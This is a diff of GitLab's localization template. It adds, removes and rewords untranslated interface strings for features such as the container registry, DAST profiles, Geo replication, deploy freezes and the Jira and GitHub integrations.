msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -7909,6 +8153,9 @@ msgstr ""
msgid "Container does not exist"
msgstr ""
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr ""
@@ -7937,9 +8184,6 @@ msgid_plural "ContainerRegistry|%{count} Tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr ""
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -8024,6 +8268,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr ""
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -8042,6 +8289,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -8107,6 +8357,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8329,6 +8582,9 @@ msgstr ""
msgid "Copy %{http_label} clone URL"
msgstr ""
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr ""
@@ -8374,9 +8630,6 @@ msgstr ""
msgid "Copy commit SHA"
msgstr ""
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr ""
@@ -8434,9 +8687,18 @@ msgstr ""
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8491,12 +8753,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr ""
@@ -8530,6 +8801,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr ""
@@ -8539,17 +8813,15 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Create"
msgstr ""
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -8694,9 +8966,6 @@ msgstr ""
msgid "Create new file or directory"
msgstr ""
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr ""
@@ -8718,6 +8987,9 @@ msgstr ""
msgid "Create snippet"
msgstr ""
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -8871,6 +9143,9 @@ msgstr ""
msgid "Created"
msgstr ""
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr ""
@@ -8934,6 +9209,9 @@ msgstr ""
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr ""
@@ -9236,8 +9514,10 @@ msgstr ""
msgid "CycleAnalytics|Show"
msgstr ""
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr ""
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
+msgstr[1] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9332,6 +9612,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9401,6 +9684,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9461,6 +9750,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9494,6 +9786,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9524,12 +9819,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -9607,6 +9914,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9637,6 +9947,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr ""
@@ -10054,13 +10367,19 @@ msgstr ""
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10171,9 +10490,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr ""
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr ""
@@ -10201,9 +10517,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr ""
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10317,9 +10630,6 @@ msgstr ""
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr ""
-
msgid "Design Management files and data"
msgstr ""
@@ -10479,13 +10789,13 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10500,7 +10810,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10754,6 +11064,9 @@ msgstr ""
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -10997,6 +11310,9 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -11009,6 +11325,9 @@ msgstr ""
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr ""
@@ -11228,6 +11547,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr ""
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11252,6 +11574,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11264,6 +11589,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr ""
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11276,6 +11604,9 @@ msgstr ""
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr ""
@@ -11387,6 +11718,9 @@ msgstr ""
msgid "Enabled Git access protocols"
msgstr ""
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11456,9 +11790,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -12086,19 +12417,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr ""
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr ""
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -12107,7 +12438,7 @@ msgstr ""
msgid "ErrorTracking|Select project"
msgstr ""
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12218,9 +12549,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12287,6 +12615,9 @@ msgstr ""
msgid "Expand milestones"
msgstr ""
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr ""
@@ -12356,6 +12687,9 @@ msgstr ""
msgid "Export"
msgstr ""
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12368,12 +12702,6 @@ msgstr ""
msgid "Export group"
msgstr ""
-msgid "Export issues"
-msgstr ""
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr ""
@@ -12401,9 +12729,6 @@ msgstr ""
msgid "External URL"
msgstr ""
-msgid "External Wiki"
-msgstr ""
-
msgid "External authentication"
msgstr ""
@@ -12425,13 +12750,16 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
-msgid "ExternalWikiService|External Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr ""
-msgid "ExternalWikiService|The URL of the external Wiki"
+msgid "ExternalWikiService|The URL of the external wiki"
msgstr ""
msgid "Facebook"
@@ -12530,6 +12858,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -12557,9 +12888,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr ""
@@ -12608,9 +12945,6 @@ msgstr ""
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr ""
-
msgid "Failed to remove mirror."
msgstr ""
@@ -12665,9 +12999,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr ""
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -13051,10 +13382,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr ""
-msgid "Filter by %{issuable_type} that are currently opened."
+msgid "Filter by %{issuable_type} that are currently open."
msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -13087,7 +13418,7 @@ msgstr ""
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13189,6 +13520,9 @@ msgstr ""
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr ""
@@ -13237,12 +13571,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr ""
@@ -13252,9 +13589,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr ""
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr ""
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13279,6 +13613,9 @@ msgstr ""
msgid "Fork project?"
msgstr ""
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13288,6 +13625,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13303,6 +13643,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13321,9 +13664,6 @@ msgstr ""
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr ""
@@ -13585,6 +13925,9 @@ msgstr ""
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13627,9 +13970,15 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr ""
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr ""
@@ -13654,6 +14003,15 @@ msgstr ""
msgid "Geo|In sync"
msgstr ""
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr ""
@@ -13687,6 +14045,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr ""
@@ -13714,6 +14078,9 @@ msgstr ""
msgid "Geo|Projects in certain storage shards"
msgstr ""
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr ""
@@ -13726,6 +14093,30 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr ""
@@ -13753,6 +14144,9 @@ msgstr ""
msgid "Geo|Status"
msgstr ""
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr ""
@@ -13765,6 +14159,9 @@ msgstr ""
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -13798,6 +14195,9 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr ""
@@ -13843,6 +14243,9 @@ msgstr ""
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr ""
@@ -13972,6 +14375,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr ""
@@ -14095,6 +14504,24 @@ msgstr ""
msgid "Gitea Import"
msgstr ""
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr ""
@@ -14137,9 +14564,6 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr ""
@@ -14269,16 +14693,13 @@ msgstr ""
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
+msgid "GrafanaIntegration|API token"
msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr ""
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14290,6 +14711,9 @@ msgstr ""
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr ""
@@ -14347,6 +14771,12 @@ msgstr ""
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -14428,9 +14858,6 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -14533,9 +14960,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr ""
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr ""
@@ -14551,7 +14984,10 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -14647,9 +15083,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -14845,9 +15278,6 @@ msgstr ""
msgid "Groups to synchronize"
msgstr ""
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr ""
@@ -14983,9 +15413,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr ""
-
msgid "Header logo was successfully removed."
msgstr ""
@@ -15164,6 +15591,9 @@ msgstr ""
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15332,6 +15762,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -15492,9 +15928,6 @@ msgstr ""
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr ""
-
msgid "ImportButtons|Connect repositories from"
msgstr ""
@@ -15542,12 +15975,15 @@ msgid_plural "Importing %d repositories"
msgstr[0] ""
msgstr[1] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgid "Importing..."
msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15557,9 +15993,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr ""
@@ -16145,6 +16578,9 @@ msgstr ""
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr ""
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16315,6 +16751,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16360,9 +16799,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16387,6 +16823,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16423,9 +16862,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
-msgid "Invalid Login or password"
-msgstr ""
-
msgid "Invalid OS"
msgstr ""
@@ -16621,7 +17057,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16630,7 +17066,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16639,25 +17075,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16672,6 +17108,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -16834,6 +17273,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr ""
@@ -16843,6 +17285,9 @@ msgstr ""
msgid "Issue weight"
msgstr ""
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -16930,6 +17375,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr ""
@@ -16993,6 +17441,9 @@ msgstr ""
msgid "It's you"
msgstr ""
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -17080,6 +17531,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -17092,9 +17546,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17134,7 +17597,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
